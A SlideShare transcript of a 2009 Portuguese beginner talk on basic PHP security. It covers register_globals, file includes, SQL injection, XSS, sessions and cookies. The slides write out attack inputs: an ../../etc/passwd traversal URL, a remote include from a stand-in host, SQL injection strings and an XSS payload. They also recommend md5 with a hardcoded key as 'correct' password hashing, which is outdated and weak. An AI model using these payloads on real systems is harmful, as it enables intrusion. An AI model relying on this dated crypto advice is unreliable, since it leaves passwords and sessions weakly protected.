O slideshow foi denunciado.
Utilizamos seu perfil e dados de atividades no LinkedIn para personalizar e exibir anúncios mais relevantes. Altere suas preferências de anúncios quando desejar.

Hello SAFE World!!!

611 visualizações

Publicada em

Palestra ministrada na ULBRA Canoas em 2009, focando em "conceitos mínimos de segurança em PHP".

Publicada em: Tecnologia
  • Seja o primeiro a comentar

  • Seja a primeira pessoa a gostar disto

Hello SAFE World!!!

  1. 1. Hello SAFE World!!! Conceitos mínimos de segurança em PHP Dalmir da Silva dalmirdasilva@gmail.com Everaldo Wanderlei Uavniczak everaldouav@gmail.com
  2. 2. Sobre a apresentaçãoNível:InicianteEscopo:Básico de segurança em Web, direcionado a PHPPré-requisitos:Nenhum
  3. 3. Vantagens do PHPfácil aprendizadotipagem dinâmica (fraca)é uma linguagem interpretada
  4. 4. Desvantagens do PHPtipagem dinâmicainicialização automática de variáveisconfigurações padrão não priorizam a segurança
  5. 5. A função error_reporting()Define quais erros serão reportadosAconselhado em Desenvolvimento:error_reporting(E_ALL|E_STRICT); // 6143ouerror_reporting(2147483647);Aconselhado em Produçãoerror_reporting(0);Veja php.net/error_reporting
  6. 6. Reforçando: error_reporting CRIEM O HÁBITODE USAR A FUNÇÃO error_reporting() NO INÍCIO DO SCRIPT PHP
  7. 7. Castingintval()floatval()strval()(int), (integer) - molde para inteiro(bool), (boolean) - converte para booleano(float), (double), (real) para número de ponto flutuante(string) - converte para string(binary) - converte para string binária (PHP 6)(array) - converte para array(object) - converte para objeto(unset) - converte para NULL (PHP 5)settype (&$var , $type )
  8. 8. Verifique o tipo da variávelis_int()is_float()is_numeric()is_string()is_escalar () // int, float, string, boolis_resource()is_object()is_numeric()is_null()is_array()is_boolgettype()
  9. 9. Register Globals PadrãoPHP < 4.2.0: truePHP >= 4.2.0: falsePHP 6: false (diretiva removida)Maioria dos servidores web = truehttp://testepeste.com/index.php?teste=boooif TRUE:$teste = booo;$_GET[teste] = booo;if FALSE$_GET[teste] = booo;$teste = ??? ; // variável não setada
  10. 10. Registe Globals - Problemashttp://testepeste.com/?autorizado=true<?phpif (usuario_autenticado()){$autorizado = true;}if ($autorizado){include /dados/altamente/sensiveis.php;}http://testepeste.com/?arquivo=../../etc/passwd<?phpinclude "meus_script/$arquivo";
  11. 11. Incluindo arquivos include() e include_once() require() e require_once() readfile()Arquivos que precisam de processamento PHPrequire($file);if ( file_exists($file) ) { include($file);} else { // tratamento de erro}Arquivos que não precisam de processamento PHPreadfile($file);
  12. 12. allow_url_include Padrão na maioria dos servidores weballow_url_include = off<?phpinclude($_GET[file]);http://testepeste.com/include.php?file=teste.phphttp://testepeste.com/include.php?file=http://hell.com/hahaha.txt
  13. 13. Pseudo-Casting Nome de Arquivos$f=eregi_replace([^a-zA-Z0-9_-], , $f); CEP$cep = eregi_replace([^0-9-], , $cep); Data de Nascimento$dn = eregi_replace([^0-9/], , $dn);
  14. 14. Criptografia de senhas Errado:$senha = md5($senha); Certo:$privatekey =dfmlkashfdkjahbiHIUT*&gjvhsdsva87%RgGYR;$senha=md5($privatekey.$senha.$privatekey);
  15. 15. SQL Injectionhttp://testepeste.com?relatorio.php?nome=NomeSELECT * FROM `user` WHERE nome=Nomehttp://testepeste.com?relatorio.php?nome= or 1SELECT * FROM `user` WHERE nome= or 1-----------------------------------------------http://testepeste.com?auth.php?login=admin&passwd=123SELECT * FROM `user` WHERE login=admin AND passwd=123http://testepeste.com?auth.php?login=admin#&passwd=SELECT * FROM `user` WHERE login=admin# AND passwd=-------------------------------------------------------Se magic_quotes_gpc estiver on pode duplicar as barras,entao use uma funcaofunction my_escape_strings( $string ) { if ( !get_magic_quotes_gpc() ) return mysql_escape_string( $string ); else return $string;}
  16. 16. XSS - Cross-Site ScriptingConsiste em Inserir conteúdo em HTML e JS no banco dedados ou na página que quando exibidos fazem algo htmlentities() htmlspecialchars() //substitui& (ampersand) torna-se &amp;" (aspas dupla) torna-se &quot; (aspas simples) torna-se '< (menor que) torna-se &lt;> (maior que) torna-se &gt; strip_tags() //remove<p onmouseover=alert(1)>algo</p> ficaria paenas algo
  17. 17. Arquivo de Senha SEMPRE FORA DA ÁRVORE WEBExemplo:/index.php/funcoes.php/outros_milhares_de_arquivos.php../xyz_super_secret_pass.php
  18. 18. Extensão dos arquivos .phpSEMPRE USEM EXTENSÕES .php JAMAIS USEM .incSE PRECISAREM, USEM .inc.php.inc nao é interpretado como .php, óbvio
  19. 19. SESSIONsession_start();session_regenerate_id(true);Ao registrar a sessão, grave o IP e verifique se ele mudouif (!isset($_SESSION[ip])) { $_SESSION[ip] = $_SERVER[REMOTE_ADDR];}if ($_SESSION[ip] !== $_SERVER[REMOTE_ADDR]) { session_destroy(); die(alguma mensagem);}
  20. 20. COOKIENunca salve somente o ID no cookie:Exemplo:cookie="100"Use algo como$cookie="100:7559e8cf919ecac5f918383ea07618b7"sendo$private_key = "djklHIU6*&%fytarsd76F67Gy7";$validate = $_SERVER[REMOTE_ADDRESS].$id.$privatekey;$cookie = "$id:$validate";
  21. 21. Impeça acesso direto ao arquivoUse constatante para controle:// arquivo index.phpdefine ("TESTEPESTE_SECURITY", true);// arquivos incluídosif (!defined(TESTEPESTE_SECURITY)) { die (Você não pode acessar esse arquivo diretamente) ;}// continua o script
  22. 22. Referênciahttp://shiflett.org/php-security.pdfhttp://php.net/http://phpsec.org/php-security-guide.pdf

×